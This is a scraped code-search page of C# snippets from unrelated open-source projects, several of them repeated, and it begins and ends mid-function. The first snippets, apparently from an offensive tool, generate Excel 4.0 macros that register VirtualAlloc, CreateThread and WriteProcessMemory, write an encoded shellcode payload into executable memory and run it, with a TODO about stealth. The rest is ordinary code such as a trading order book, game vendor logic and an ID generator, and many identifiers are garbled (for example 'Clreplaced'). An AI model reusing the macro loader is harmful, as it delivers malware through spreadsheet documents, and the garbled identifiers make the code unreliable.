string.Format("=GOTO({0})",actualStart),
"=REGISTER(\"kernel32\", \"VirtualAlloc\", \"JJJJJ\", \"valloc\", , 1, 9)",
"=REGISTER(\"crypt32\",\"CryptStringToBinaryA\",\"JCJJJNCC\",\"cryptString\",,1,9)",
"=REGISTER(\"shlwapi\",\"SHCreateThread\",\"JJCJJ\",\"shCreateThread\",,1,9)",
"=RETURN()",
"curAddr=1342439424", // Set our start address at 0x50000000
"targetAddr=0",
"=WHILE(targetAddr=0)",
"targetAddr=valloc(curAddr,10000000,12288,576)", // Allocate 10MB for shellcode
"curAddr=curAddr+262144", // Iterate every 0x40000 bytes
"=NEXT()",
"=RETURN(targetAddr)",
"=ARGUMENT(\"targetWriteAddr\",1)",
"=ARGUMENT(\"curWriteRef\",8)",
"=ARGUMENT(\"decryptKey\",2)",
"curLoopWriteAddr=targetWriteAddr",
"=WHILE(curWriteRef<>\"END\")",
"=IF(LEN(decryptKey)>0)",
"TODO-decryptionfunction",
"=ELSE()",
"=cryptString(curWriteRef,LEN(curWriteRef),1,curLoopWriteAddr,256,\"\",\"\")",
"=END.IF()",
"curLoopWriteAddr=curLoopWriteAddr+(3*LEN(curWriteRef)/4)",
"curWriteRef=ABSREF(\"R[1]C\",curWriteRef)",
"=NEXT()",
"=RETURN(curLoopWriteAddr-targetWriteAddr)",
string.Format("RegisterImports={0}", registerImportsFunction),
string.Format("AllocateMemory={0}", allocateMemoryFunction),
string.Format("WriteLoop={0}", writeLoopFunction),
"=RETURN()",
string.Format("={0}()", defineFunctionsFunction),
"=RegisterImports()",
"targetAddress=AllocateMemory()",
string.Format("=IF(ISNUMBER(SEARCH(\"32\",GET.WORKSPACE(1))),SET.NAME(\"payload\",{0}),SET.NAME(\"payload\",{1}))", x86Payload, x64Payload),
"bytesWritten=WriteLoop(targetAddress,payload,\"\")",
"=shCreateThread(targetAddress,\"\",0,0)",
"=HALT()"
};
if (preamble.Count > 0)
{
return preamble.Concat(macros).ToList();
}
return macros;
}
19
View Source File : WorkbookStream.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public WorkbookStream RemoveRecord(BiffRecord recordToRemove)
{
if (ContainsRecord(recordToRemove) == false)
{
throw new ArgumentException("Could not find recordToRemove");
}
var removeRecordOffset = GetRecordOffset(recordToRemove);
var newRecords = _biffRecords.Take(removeRecordOffset).Concat(
_biffRecords.TakeLast(_biffRecords.Count - removeRecordOffset - 1)).ToList();
return new WorkbookStream(newRecords);
}
19
View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public static string ConvertA1StringToR1C1String(string cellFormula)
{
//Remap A1 style references to R1C1 (but ignore anything followed by a " in case its inside an EVALUATE statement)
string a1pattern = @"([A-Z]{1,2}\d{1,5})";
Regex rg = new Regex(a1pattern);
MatchCollection matches = rg.Matches(cellFormula);
int stringLenChange = 0;
//Iterate through each match and then replace it at its offset. We iterate through
//each case manually to prevent overlapping cases from double replacing - ex: SELECT(B1:B111,B1)
foreach (var match in matches)
{
string matchString = ((Match)match).Value;
string replaceContent = ExcelHelperClreplaced.ConvertA1ToR1C1(matchString);
//As we change the string, these indexes will go out of sync, track the size delta to make sure we resync positions
int matchIndex = ((Match)match).Index + stringLenChange;
//If the match is followed by a ", then ignore it
int followingIndex = matchIndex + matchString.Length;
if (followingIndex < cellFormula.Length && cellFormula[followingIndex] == '"')
{
continue;
}
//LINQ replacement for python string slicing
cellFormula = new string(cellFormula.Take(matchIndex).
Concat(replaceContent.ToArray()).
Concat(cellFormula.TakeLast(cellFormula.Length - matchIndex - matchString.Length)).ToArray());
stringLenChange += (replaceContent.Length - matchString.Length);
}
return cellFormula;
}
19
View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public static List<String> GetX86GetBinaryLoaderPattern(List<string> preamble, string macroSheetName)
{
int offset;
if (preamble.Count == 0)
{
offset = 1;
} else
{
offset = preamble.Count + 1;
}
//TODO Autocalculate these values at generation time
//These variables replacedume certain positions in generated macros
//Col 1 is our obfuscated payload
//Col 2 is our actual macro set defined below
//Col 3 is a separated set of cells containing a binary payload, ends with the string END
string lengthCounter = String.Format("R{0}C40", offset);
string offsetCounter = String.Format("R{0}C40", offset + 1);
string dataCellRef = String.Format("R{0}C40", offset + 2);
string dataCol = "C2";
//Expects our invocation of VirtualAlloc to be on row 5, but this will change if the macro changes
string baseMemoryAddress = String.Format("R{0}C1", preamble.Count + 4); //for some reason this only works when its count, not offset
//TODO [Stealth] Add VirtualProtect so we don't call VirtualAlloc with RWX permissions
//TODO [Functionality] Apply x64 support changes from https://github.com/outflanknl/Scripts/blob/master/ShellcodeToJScript.js
//TODO [Functionality] Add support for .NET payloads (https://docs.microsoft.com/en-us/dotnet/core/tutorials/netcore-hosting, https://www.mdsec.co.uk/2020/03/hiding-your-net-etw/)
List<string> macros = new List<string>()
{
"=REGISTER(\"Kernel32\",\"VirtualAlloc\",\"JJJJJ\",\"VA\",,1,0)",
"=REGISTER(\"Kernel32\",\"CreateThread\",\"JJJJJJJ\",\"CT\",,1,0)",
"=REGISTER(\"Kernel32\",\"WriteProcessMemory\",\"JJJCJJ\",\"WPM\",,1,0)",
"=VA(0,10000000,4096,64)", //Referenced by baseMemoryAddress
string.Format("=SET.VALUE({0}!{1}, 0)", macroSheetName, lengthCounter),
string.Format("=SET.VALUE({0}!{1},1)", macroSheetName, offsetCounter),
string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
string.Format("=WHILE(GET.CELL(5,{0}!{1})<>\"END\")", macroSheetName, dataCellRef),
string.Format("=WPM(-1,{0}!{1}+{0}!{2},{0}!{3},LEN({0}!{3}),0)", macroSheetName, baseMemoryAddress, lengthCounter, dataCellRef),
string.Format("=SET.VALUE({0}!{1}, {0}!{1} + 1)", macroSheetName, offsetCounter),
string.Format("=SET.VALUE({0}!{1}, {0}!{1} + LEN({0}!{2}))", macroSheetName, lengthCounter, dataCellRef),
string.Format("=FORMULA(\"={0}!R\"&{0}!{1}&\"{2}\",{0}!{3})", macroSheetName, offsetCounter, dataCol, dataCellRef),
"=NEXT()",
//Execute our Payload
string.Format("=CT(0,0,{0}!{1},0,0,0)", macroSheetName, baseMemoryAddress),
"=WAIT(NOW()+\"00:00:03\")",
"=HALT()"
};
if (preamble.Count > 0)
{
return preamble.Concat(macros).ToList();
}
return macros;
}
19
View Source File : WorkbookStream.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public WorkbookStream ReplaceRecord(BiffRecord oldRecord, BiffRecord newRecord)
{
if (ContainsRecord(oldRecord) == false)
{
throw new ArgumentException("Could not find oldRecord");
}
//records [r1, OLD, r2, r3, r4, r5]
//records.count = 6
//replaceRecordOffset = 1
//records.Take(1) = [r1]
//records.TakeLast(4) = [r2, r3, r4, r5]
//output = [r1, NEW, r2, r3, r4, r5]
var replaceRecordOffset = GetRecordOffset(oldRecord);
var newRecords = _biffRecords.Take(replaceRecordOffset).Append(newRecord)
.Concat(_biffRecords.TakeLast(_biffRecords.Count - (replaceRecordOffset + 1))).ToList();
return new WorkbookStream(newRecords);
}
19
View Source File : MacroPatterns.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public static string ConvertA1StringToR1C1String(string cellFormula)
{
//Remap A1 style references to R1C1 (but ignore anything followed by a " in case its inside an EVALUATE statement)
string a1pattern = @"([A-Z]{1,2}\d{1,5})";
Regex rg = new Regex(a1pattern);
MatchCollection matches = rg.Matches(cellFormula);
int stringLenChange = 0;
//Iterate through each match and then replace it at its offset. We iterate through
//each case manually to prevent overlapping cases from double replacing - ex: SELECT(B1:B111,B1)
foreach (var match in matches)
{
string matchString = ((Match)match).Value;
string replaceContent = ExcelHelperClreplaced.ConvertA1ToR1C1(matchString);
//As we change the string, these indexes will go out of sync, track the size delta to make sure we resync positions
int matchIndex = ((Match)match).Index + stringLenChange;
//If the match is followed by a ", then ignore it
int followingIndex = matchIndex + matchString.Length;
if (followingIndex < cellFormula.Length && cellFormula[followingIndex] == '"')
{
continue;
}
//LINQ replacement for python string slicing
cellFormula = new string(cellFormula.Take(matchIndex).
Concat(replaceContent.ToArray()).
Concat(cellFormula.TakeLast(cellFormula.Length - matchIndex - matchString.Length)).ToArray());
stringLenChange += (replaceContent.Length - matchString.Length);
}
return cellFormula;
}
19
View Source File : WorkbookStream.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public WorkbookStream InsertRecords(List<BiffRecord> recordsToInsert, BiffRecord insertAfterRecord = null)
{
if (insertAfterRecord == null)
{
List<BiffRecord> recordsWithAppendedRecord = _biffRecords.Concat(recordsToInsert).ToList();
return new WorkbookStream(recordsWithAppendedRecord);
}
if (ContainsRecord(insertAfterRecord) == false)
{
throw new ArgumentException("Could not find insertAfterRecord");
}
var insertRecordOffset = GetRecordOffset(insertAfterRecord) + 1;
//records [r1, TARGET, r2, r3, r4, r5]
//records.count = 6
//insertRecordOffset = 2
//records.Take(2) = [r1, TARGET]
//records.TakeLast(4) = [r2, r3, r4, r5]
//output = [r1, TARGET, INSERT, r2, r3, r4, r5]
var newRecords = _biffRecords.Take(insertRecordOffset).Concat(recordsToInsert)
.Concat(_biffRecords.TakeLast(_biffRecords.Count - insertRecordOffset)).ToList();
return new WorkbookStream(newRecords);
}
19
View Source File : WorkbookStream.cs
License : Apache License 2.0
Project Creator : aaaddress1
License : Apache License 2.0
Project Creator : aaaddress1
public WorkbookStream InsertRecords(List<BiffRecord> recordsToInsert, BiffRecord insertAfterRecord = null)
{
if (insertAfterRecord == null)
{
List<BiffRecord> recordsWithAppendedRecord = _biffRecords.Concat(recordsToInsert).ToList();
return new WorkbookStream(recordsWithAppendedRecord);
}
if (ContainsRecord(insertAfterRecord) == false)
{
throw new ArgumentException("Could not find insertAfterRecord");
}
var insertRecordOffset = GetRecordOffset(insertAfterRecord) + 1;
//records [r1, TARGET, r2, r3, r4, r5]
//records.count = 6
//insertRecordOffset = 2
//records.Take(2) = [r1, TARGET]
//records.TakeLast(4) = [r2, r3, r4, r5]
//output = [r1, TARGET, INSERT, r2, r3, r4, r5]
var newRecords = _biffRecords.Take(insertRecordOffset).Concat(recordsToInsert)
.Concat(_biffRecords.TakeLast(_biffRecords.Count - insertRecordOffset)).ToList();
return new WorkbookStream(newRecords);
}
19
View Source File : OrderBookActor.cs
License : Apache License 2.0
Project Creator : Aaronontheweb
License : Apache License 2.0
Project Creator : Aaronontheweb
private void Commands()
{
Command<ConfirmableMessage<Ask>>(a =>
{
// For the sake of efficiency - update orderbook and then persist all events
var events = _matchingEngine.WithAsk(a.Message);
var persistableEvents = new ITradeEvent[] { a.Message }.Concat<ITradeEvent>(events); // ask needs to go before Fill / Match
PersistAll(persistableEvents, @event =>
{
_log.Info("[{0}][{1}] - {2} units @ {3} per unit", TickerSymbol, @event.ToTradeEventType(), a.Message.AskQuanreplacedy, a.Message.AskPrice);
if (@event is Ask)
{
// need to use the ID of the original sender to satisfy the PersistenceSupervisor
//_confirmationActor.Tell(new Confirmation(a.ConfirmationId, a.SenderId));
}
_publisher.Publish(TickerSymbol, @event);
// Take a snapshot every N messages to optimize recovery time
if (LastSequenceNr % SnapshotInterval == 0)
{
SaveSnapshot(_matchingEngine.GetSnapshot());
}
});
});
Command<ConfirmableMessage<Bid>>(b =>
{
// For the sake of efficiency -update orderbook and then persist all events
var events = _matchingEngine.WithBid(b.Message);
var persistableEvents = new ITradeEvent[] { b.Message }.Concat<ITradeEvent>(events); // bid needs to go before Fill / Match
PersistAll(persistableEvents, @event =>
{
_log.Info("[{0}][{1}] - {2} units @ {3} per unit", TickerSymbol, @event.ToTradeEventType(), b.Message.BidQuanreplacedy, b.Message.BidPrice);
if (@event is Bid)
{
//_confirmationActor.Tell(new Confirmation(b.ConfirmationId, PersistenceId));
}
_publisher.Publish(TickerSymbol, @event);
// Take a snapshot every N messages to optimize recovery time
if (LastSequenceNr % SnapshotInterval == 0)
{
SaveSnapshot(_matchingEngine.GetSnapshot());
}
});
});
Command<SaveSnapshotSuccess>(success =>
{
//DeleteMessages(success.Metadata.SequenceNr);
DeleteSnapshots(new SnapshotSelectionCriteria(success.Metadata.SequenceNr));
});
/*
* Handle subscriptions directly in case we're using in-memory, local pub-sub.
*/
CommandAsync<TradeSubscribe>(async sub =>
{
try
{
var ack = await _subscriptionManager.Subscribe(sub.TickerSymbol, sub.Events, sub.Subscriber);
Context.Watch(sub.Subscriber);
sub.Subscriber.Tell(ack);
}
catch (Exception ex)
{
_log.Error(ex, "Error while processing subscription {0}", sub);
sub.Subscriber.Tell(new TradeSubscribeNack(sub.TickerSymbol, sub.Events, ex.Message));
}
});
CommandAsync<TradeUnsubscribe>(async unsub =>
{
try
{
var ack = await _subscriptionManager.Unsubscribe(unsub.TickerSymbol, unsub.Events, unsub.Subscriber);
// leave DeathWatch intact, in case actor is still subscribed to additional topics
unsub.Subscriber.Tell(ack);
}
catch (Exception ex)
{
_log.Error(ex, "Error while processing unsubscribe {0}", unsub);
unsub.Subscriber.Tell(new TradeUnsubscribeNack(unsub.TickerSymbol, unsub.Events, ex.Message));
}
});
CommandAsync<Terminated>(async t =>
{
try
{
var ack = await _subscriptionManager.Unsubscribe(TickerSymbol, t.ActorRef);
}
catch (Exception ex)
{
_log.Error(ex, "Error while processing unsubscribe for terminated subscriber {0} for symbol {1}", t.ActorRef, TickerSymbol);
}
});
Command<GetOrderBookSnapshot>(s =>
{
Sender.Tell(_matchingEngine.GetSnapshot());
});
}
19
View Source File : ContextIsolatedTask.cs
License : Microsoft Public License
Project Creator : AArnott
License : Microsoft Public License
Project Creator : AArnott
protected override IntPtr LoadUnmanagedDll(string unmanagedDllName)
{
string unmanagedDllPath = Directory.EnumerateFiles(
this.loaderTask.UnmanagedDllDirectory,
$"{unmanagedDllName}.*").Concat(
Directory.EnumerateFiles(
this.loaderTask.UnmanagedDllDirectory,
$"lib{unmanagedDllName}.*"))
.FirstOrDefault();
if (unmanagedDllPath != null)
{
return this.LoadUnmanagedDllFromPath(unmanagedDllPath);
}
return base.LoadUnmanagedDll(unmanagedDllName);
}
19
View Source File : CompletionList.cs
License : MIT License
Project Creator : Abdesol
License : MIT License
Project Creator : Abdesol
static bool CamelCaseMatch(string text, string query)
{
// We take the first letter of the text regardless of whether or not it's upper case so we match
// against camelCase text as well as PascalCase text ("cct" matches "camelCaseText")
var theFirstLetterOfEachWord = text.Take(1).Concat(text.Skip(1).Where(char.IsUpper));
int i = 0;
foreach (var letter in theFirstLetterOfEachWord) {
if (i > query.Length - 1)
return true; // return true here for CamelCase partial match ("CQ" matches "CodeQualityreplacedysis")
if (char.ToUpperInvariant(query[i]) != char.ToUpperInvariant(letter))
return false;
i++;
}
if (i >= query.Length)
return true;
return false;
}
19
View Source File : MixedRealityToolkitFiles.cs
License : Apache License 2.0
Project Creator : abist-co-ltd
License : Apache License 2.0
Project Creator : abist-co-ltd
public static void OnPostprocessAllreplacedets(string[] importedreplacedets, string[] deletedreplacedets, string[] movedreplacedets, string[] movedFromreplacedetPaths)
{
foreach (string replacedet in importedreplacedets.Concat(movedreplacedets))
{
if (IsSentinelFile(replacedet))
{
string fullreplacedetPath = ResolveFullreplacedetsPath(replacedet);
TryRegisterModuleViaFile(fullreplacedetPath);
}
}
foreach (string replacedet in deletedreplacedets.Concat(movedFromreplacedetPaths))
{
if (IsSentinelFile(replacedet))
{
string fullreplacedetPath = ResolveFullreplacedetsPath(replacedet);
string folderPath = Path.GetDirectoryName(fullreplacedetPath);
TryUnregisterModuleFolder(folderPath);
}
}
}
19
View Source File : SpeechInputHandlerInspector.cs
License : Apache License 2.0
Project Creator : abist-co-ltd
License : Apache License 2.0
Project Creator : abist-co-ltd
private void ShowList(SerializedProperty list)
{
using (new EditorGUI.IndentLevelScope())
{
// remove the keywords already replacedigned from the registered list
var handler = (SpeechInputHandler)target;
var availableKeywords = System.Array.Empty<string>();
if (handler.Keywords != null && distinctRegisteredKeywords != null)
{
availableKeywords = distinctRegisteredKeywords.Except(handler.Keywords.Select(keywordAndResponse => keywordAndResponse.Keyword)).ToArray();
}
// keyword rows
for (int index = 0; index < list.arraySize; index++)
{
// the element
SerializedProperty speechCommandProperty = list.GetArrayElementAtIndex(index);
GUILayout.BeginHorizontal();
bool elementExpanded = EditorGUILayout.PropertyField(speechCommandProperty);
GUILayout.FlexibleSpace();
// the remove element button
bool elementRemoved = GUILayout.Button(RemoveButtonContent, EditorStyles.miniButton, MiniButtonWidth);
GUILayout.EndHorizontal();
if (elementRemoved)
{
list.DeleteArrayElementAtIndex(index);
if (index == list.arraySize)
{
EditorGUI.indentLevel--;
return;
}
}
SerializedProperty keywordProperty = speechCommandProperty.FindPropertyRelative("keyword");
bool invalidKeyword = true;
if (distinctRegisteredKeywords != null)
{
foreach (string keyword in distinctRegisteredKeywords)
{
if (keyword == keywordProperty.stringValue)
{
invalidKeyword = false;
break;
}
}
}
if (invalidKeyword)
{
EditorGUILayout.HelpBox("Registered keyword is not recognized in the speech command profile!", MessageType.Error);
}
if (!elementRemoved && elementExpanded)
{
Rect position = EditorGUILayout.GetControlRect();
using (new EditorGUI.PropertyScope(position, KeywordContent, keywordProperty))
{
string[] keywords = availableKeywords.Concat(new[] { keywordProperty.stringValue }).OrderBy(keyword => keyword).ToArray();
int previousSelection = ArrayUtility.IndexOf(keywords, keywordProperty.stringValue);
int currentSelection = EditorGUILayout.Popup(KeywordContent, previousSelection, keywords);
if (currentSelection != previousSelection)
{
keywordProperty.stringValue = keywords[currentSelection];
}
}
SerializedProperty responseProperty = speechCommandProperty.FindPropertyRelative("response");
EditorGUILayout.PropertyField(responseProperty, true);
}
}
// add button row
using (new EditorGUILayout.HorizontalScope())
{
GUILayout.FlexibleSpace();
// the add element button
if (GUILayout.Button(AddButtonContent, EditorStyles.miniButton, MiniButtonWidth))
{
var index = list.arraySize;
list.InsertArrayElementAtIndex(index);
var elementProperty = list.GetArrayElementAtIndex(index);
SerializedProperty keywordProperty = elementProperty.FindPropertyRelative("keyword");
keywordProperty.stringValue = string.Empty;
}
}
}
}
19
View Source File : Program.cs
License : MIT License
Project Creator : abock
License : MIT License
Project Creator : abock
static int Main(string[] args)
{
bool showVersion = false;
int numberOfIds = 1;
var firstArg = args.FirstOrDefault();
if (string.IsNullOrEmpty(firstArg) || firstArg[0] == '-' || firstArg[0] == '/')
{
switch (firstArg?.Substring(1).ToLowerInvariant())
{
case "h":
case "?":
case "help":
case "-help":
break;
default:
args = new[] { "v4" }
.Concat(args)
.ToArray();
break;
}
}
var suite = new CommandSet("idgen")
{
{ "Usage: idgen COMMAND [OPTIONS]+" },
{ "" },
{ $" idgen v{version}" },
{ $" https://github.com/abock/idgen"},
{ $" {copyright}"},
{ "" },
{ "OPTIONS:" },
{ "" },
{
"h|?|help",
"Show this help.",
v => { }
},
{
"V|version",
"Show the idgen version.",
v => showVersion = true
},
{
"n=",
"Generate {NUMBER} of identifiers", v =>
{
if (!NumberParse.TryParse (v, out numberOfIds) || numberOfIds < 0)
throw new Exception (
"NUMBER must be a positive integer, or zero, for the -number option.");
}
},
{ "" },
{ "COMMANDS:" },
{ "" }
};
var generators = new IIdGenerator[]
{
new GuidGenerator.V4 (),
new GuidGenerator.V5 (),
new GuidGenerator.V3 (),
new NanoidGenerator (),
new HashidsGenerator (),
new XcodeIdGenerator (),
new PhoneGenerator ()
};
foreach (var generator in generators)
{
var hasOptions = generator.Options?.Any(o => !string.IsNullOrEmpty(o.Prototype)) ?? false;
var usageLine = hasOptions ? "[OPTIONS]+" : null;
if (!string.IsNullOrEmpty(generator.UsageArguments))
{
if (usageLine != null)
usageLine += " ";
usageLine += generator.UsageArguments;
}
if (usageLine != null)
usageLine = " " + usageLine;
var optionSet = new OptionSet
{
{ $"Usage: {suite.Suite} {generator.Command}{usageLine}" },
};
if (hasOptions)
{
optionSet.Add("");
optionSet.Add("OPTIONS:");
optionSet.Add("");
foreach (Option option in generator.Options)
optionSet.Add(option);
}
suite.Add(new Command(generator.Command, generator.CommandDescription)
{
Options = optionSet,
Run = commandArgs => RunCommand(generator, commandArgs)
});
}
void RunCommand(IIdGenerator generator, IEnumerable<string> commandArgs)
{
if (showVersion)
{
Console.WriteLine(version);
return;
}
for (int i = 0; i < numberOfIds; i++)
{
foreach (var id in generator.Generate(commandArgs))
{
if (id != null)
Console.WriteLine(id);
}
}
}
suite.Add(
"\n" +
"NOTE: any argument that expects a number my be specified in decimal, " +
"binary (0b1001), or hex (0xabcd and ab123h) notation. Numbers may " +
"also contain digit separators (_ and ,) and arbitrary whitespace.");
try
{
suite.Run(args);
}
catch (Exception e)
{
Error(e.Message);
return 2;
}
return 0;
}
19
View Source File : WorkFlowInvoker.cs
License : Apache License 2.0
Project Creator : AbpApp
License : Apache License 2.0
Project Creator : AbpApp
public async Task<IEnumerable<WorkflowExecutionContext>> TriggerAsync(
string activityType,
Variables input = default,
string correlationId = default,
Func<JObject, bool> activityStatePredicate = default,
CancellationToken cancellationToken = default)
{
var startedExecutionContexts = await StartManyAsync(
activityType,
input,
correlationId,
activityStatePredicate,
cancellationToken
);
var resumedExecutionContexts = await ResumeManyAsync(
activityType,
input,
correlationId,
activityStatePredicate,
cancellationToken
);
return startedExecutionContexts.Concat(resumedExecutionContexts);
}
19
View Source File : ExampleSearchProvider.cs
License : MIT License
Project Creator : ABTSoftware
License : MIT License
Project Creator : ABTSoftware
public IEnumerable<ExampleId> OneWordQuery(string[] terms)
{
IEnumerable<ExampleId> result = null;
var pageIds = new List<Guid>();
var term = terms[0];
if (_invertedIndex.ContainsKey(term))
{
_invertedIndex[term].TermInfos.ForEachDo(posting => pageIds.Add(posting.ExamplePageId));
result = RankDoreplacedents(terms, pageIds, _invertedIndex).Select(guid => new ExampleId { Id = guid });
}
var codePageIds = new List<Guid>();
if (_codeInvertedIndex.ContainsKey(term))
{
_codeInvertedIndex[term].TermInfos.ForEachDo(posting =>
{
if (!pageIds.Contains(posting.ExamplePageId))
{
codePageIds.Add(posting.ExamplePageId);
}
});
var codeResults = RankDoreplacedents(terms, codePageIds, _codeInvertedIndex).Select(guid => new ExampleId { Id = guid });
result = result != null ? result.Concat(codeResults) : codeResults;
}
return result;
}
19
View Source File : AccountExtensions.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator
private static string GetPreplacedwordHash(Account account, string preplacedword)
{
byte[] preplacedwordBytes = Encoding.UTF8.GetBytes(preplacedword);
byte[] saltBytes = Convert.FromBase64String(account.PreplacedwordSalt);
byte[] buffer = preplacedwordBytes.Concat(saltBytes).ToArray();
byte[] hash;
using (SHA512Managed hasher = new SHA512Managed())
hash = hasher.ComputeHash(buffer);
return Convert.ToBase64String(hash);
}
19
View Source File : HousePayment.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator
public List<WorldObjectInfo<int>> GetConsumeItems(List<WorldObject> items)
{
if (Remaining == 0) return new List<WorldObjectInfo<int>>();
// filter to payment tab items that apply to this HousePayment wcid
// consume from smallest stacks first, to clear out the clutter
var wcidItems = items.Where(i => i.WeenieClreplacedId == WeenieID).OrderBy(i => i.StackSize ?? 1).ToList();
// house monetary payments have pyreal wcid, and can be also be paid with trade notes
if (WeenieID == 273)
{
// append trade notes
// consume from smallest denomination stacks first, with multiple stacks of the same denomination sorted by stack size
// note that this does not produce an optimal solution for minimizing the amount of trade notes consumed
// a slightly better solution would be to iteratively consume the highest denomination trade note that is <= the remaining amount,
// but there are still some sets where even that wouldn't be optimized..
var tradeNotes = items.Where(i => i.ItemType == ItemType.PromissoryNote).OrderBy(i => i.StackSize ?? 1).OrderBy(i => i.StackUnitValue).ToList();
var coinsAndTradeNotes = wcidItems.Concat(tradeNotes).ToList();
return GetConsumeItems_Inner(coinsAndTradeNotes);
}
else
{
return GetConsumeItems_Inner(wcidItems);
}
}
19
View Source File : Vendor.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator
public bool BuyItems_ValidateTransaction(List<ItemProfile> itemProfiles, Player player)
{
// one difference between buy and sell currently
// is that if *any* items in the buy transactions are detected as invalid,
// we reject the entire transaction.
// this seems to be the "safest" route, however in terms of player convenience
// where only 1 item has an error from a large purchase set,
// this might not be the most convenient for the player.
var defaulreplacedemProfiles = new List<ItemProfile>();
var uniqueItems = new List<WorldObject>();
// find item profiles in default and unique items
foreach (var itemProfile in itemProfiles)
{
if (!itemProfile.IsValidAmount)
{
// reject entire transaction immediately
player.SendTransientError($"Invalid amount");
return false;
}
var itemGuid = new ObjectGuid(itemProfile.ObjectGuid);
// check default items
if (DefaulreplacedemsForSale.TryGetValue(itemGuid, out var defaulreplacedemForSale))
{
itemProfile.WeenieClreplacedId = defaulreplacedemForSale.WeenieClreplacedId;
itemProfile.Palette = defaulreplacedemForSale.PaletteTemplate;
itemProfile.Shade = defaulreplacedemForSale.Shade;
defaulreplacedemProfiles.Add(itemProfile);
}
// check unique items
else if (UniqueItemsForSale.TryGetValue(itemGuid, out var uniqueItemForSale))
{
uniqueItems.Add(uniqueItemForSale);
}
}
// ensure player has enough free inventory slots / container slots / available burden to receive items
var itemsToReceive = new ItemsToReceive(player);
foreach (var defaulreplacedemProfile in defaulreplacedemProfiles)
{
itemsToReceive.Add(defaulreplacedemProfile.WeenieClreplacedId, defaulreplacedemProfile.Amount);
if (itemsToReceive.PlayerExceedsLimits)
break;
}
if (!itemsToReceive.PlayerExceedsLimits)
{
foreach (var uniqueItem in uniqueItems)
{
itemsToReceive.Add(uniqueItem.WeenieClreplacedId, uniqueItem.StackSize ?? 1);
if (itemsToReceive.PlayerExceedsLimits)
break;
}
}
if (itemsToReceive.PlayerExceedsLimits)
{
if (itemsToReceive.PlayerExceedsAvailableBurden)
player.Session.Network.EnqueueSend(new GameEventCommunicationTransientString(player.Session, "You are too enreplacedbered to buy that!"));
else if (itemsToReceive.PlayerOutOfInventorySlots)
player.Session.Network.EnqueueSend(new GameEventCommunicationTransientString(player.Session, "You do not have enough pack space to buy that!"));
else if (itemsToReceive.PlayerOutOfContainerSlots)
player.Session.Network.EnqueueSend(new GameEventCommunicationTransientString(player.Session, "You do not have enough container slots to buy that!"));
return false;
}
// ideally the creation of the wo's would be delayed even further,
// and all validations would be performed on weenies beforehand
// this would require:
// - a forEach helper function to iterate through both defaulreplacedemProfiles (ItemProfiles) and uniqueItems (WorldObjects),
// so that 2 foreach iterators don't have to be written each time
// - weenie to have more functions that mimic the functionality of WorldObject
// create world objects for default items
var defaulreplacedems = new List<WorldObject>();
foreach (var defaulreplacedemProfile in defaulreplacedemProfiles)
defaulreplacedems.AddRange(ItemProfileToWorldObjects(defaulreplacedemProfile));
var purchaseItems = defaulreplacedems.Concat(uniqueItems).ToList();
if (IsBusy && purchaseItems.Any(i => i.GetProperty(PropertyBool.VendorService) == true))
{
player.SendWeenieErrorWithString(WeenieErrorWithString._IsTooBusyToAcceptGifts, Name);
CleanupCreatedItems(defaulreplacedems);
return false;
}
// check uniques
if (!player.CheckUniques(purchaseItems, this))
{
CleanupCreatedItems(defaulreplacedems);
return false;
}
// calculate price
uint totalPrice = 0;
foreach (var item in purchaseItems)
{
var cost = GetSellCost(item);
// detect rollover?
totalPrice += cost;
}
// verify player has enough currency
if (AlternateCurrency == null)
{
if (player.CoinValue < totalPrice)
{
CleanupCreatedItems(defaulreplacedems);
return false;
}
}
else
{
var playerAltCurrency = player.GetNumInventoryItemsOfWCID(AlternateCurrency.Value);
if (playerAltCurrency < totalPrice)
{
CleanupCreatedItems(defaulreplacedems);
return false;
}
}
// everything is verified at this point
// send transaction to player for further processing
player.FinalizeBuyTransaction(this, defaulreplacedems, uniqueItems, totalPrice);
return true;
}
19
View Source File : FeatureModel.cs
License : Microsoft Public License
Project Creator : achimismaili
License : Microsoft Public License
Project Creator : achimismaili
[Command]
public string AddLocations(IEnumerable<Location> locations)
{
try
{
if (locations != null)
{
Locations = Locations.Concat(locations.ToDictionary(l => l.UniqueId)).ToDictionary(l => l.Key, l => l.Value); ;
}
}
catch (Exception ex)
{
string errInfo = ex.Message;
Location doublette = null;
// try to find location that is tried to be added twice
try
{
doublette =
(from newLocs in locations
join l in Locations on newLocs.UniqueId equals l.Key
where newLocs.UniqueId == l.Key
select newLocs).FirstOrDefault();
}
catch (Exception ex2)
{
errInfo += ex2.Message;
}
if (doublette == null)
{
return errInfo;
}
else
{
// TODO switch ID to scope-Url, as restored locations can have same id (e.g. SPWeb of a restored SPSite)
//return string.Format(
// "Error when trying to add a location. The location with id '{0}' and Url '{1}' was already loaded. This should never happen! Try to reload or restart. Error: '{2}'",
// doublette.Id, doublette.Url, errInfo);
}
}
return string.Empty;
}
19
View Source File : CommonModule.cs
License : MIT License
Project Creator : acid-chicken
License : MIT License
Project Creator : acid-chicken
[Command("help"), Summary("コマンドのヘルプを表示します。"), Alias("ヘルプ", "?")]
public async Task HelpAsync([Summary("対象のコマンド")] string name = null, [Remainder] string comment = null)
{
if (string.IsNullOrEmpty(name))
{
await ReplyAsync
(
message: Context.User.Mention,
embed:
new EmbedBuilder()
{
Fields =
ModuleManager.Service.Commands
.Select(x =>
{
var builder = new StringBuilder();
var module = x.Module;
while (!string.IsNullOrEmpty(module?.Name))
{
builder.Insert(0, ' ');
builder.Insert(0, x.Module.Name);
module = module.Parent;
}
